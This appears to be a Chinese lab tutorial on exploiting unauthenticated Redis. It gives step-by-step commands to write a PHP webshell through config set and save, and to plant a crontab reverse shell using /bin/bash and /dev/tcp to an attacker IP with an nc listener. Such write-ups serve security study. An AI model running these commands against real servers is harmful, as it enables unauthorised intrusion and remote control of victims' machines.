Redis未授权访问之反弹shell
Redis简介
Redis 是一个高性能的key-value数据库。为了保证效率,数据都是缓存在内存中。redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步
漏洞简介
1、什么是redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
2、漏洞产生条件
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务
3、危害
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,恶意执行flushall来清空所有数据
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞复现
这里介绍webshell的写入和反弹shell
实验场景
Redis服务器(靶机):Ubuntu 16.4 ----- 192.168.101.46
Redis客户机(攻击机):Ubuntu 16.4 ----- 192.168.101.47
安装Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压安装包:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
安装:make
进入src目录,将redis-server和redis-cli拷贝到 /usr/bin 目录下 (root权限)
(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
将redis.conf拷贝到/etc/目录下
启动redis服务,安装成功
服务端启动成功,我们克隆这台虚拟机,作为攻击机
(virtbox中,关闭/挂起虚拟机,右键虚拟器“复制”即可)
可进行服务交互
分清靶机、攻击机的IP
靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
一、利用Redis未授权写入webshell
开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意
把webshell写入/home/shell/目录(该目录需要存在才可写入,不会自动创建)
config set dir /home/shell
config set dbfilename redis.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
(save返回ERR的话,是服务端没有以root权限启动Redis的问题)
成功写入shell
可以试着尝试写入一句话到网站www目录下,再通过蚁剑/菜刀等方式连接
二、利用crontab反弹shell
在足够权限下,利用redis将文件写入计划任务目录下执行
攻击机端口监听
nc -lvp 2333
连接redis,写入反弹shellset xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.101.47/2333 0>&1\n\n"
//一分钟后执行该任务config set dir /var/spool/cron
config set dbfilename root
save
发现已写入文件中
1分钟后,服务端(靶机)反弹shell给攻击机
GOT IT!
更多利用方式可自行拓展~
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~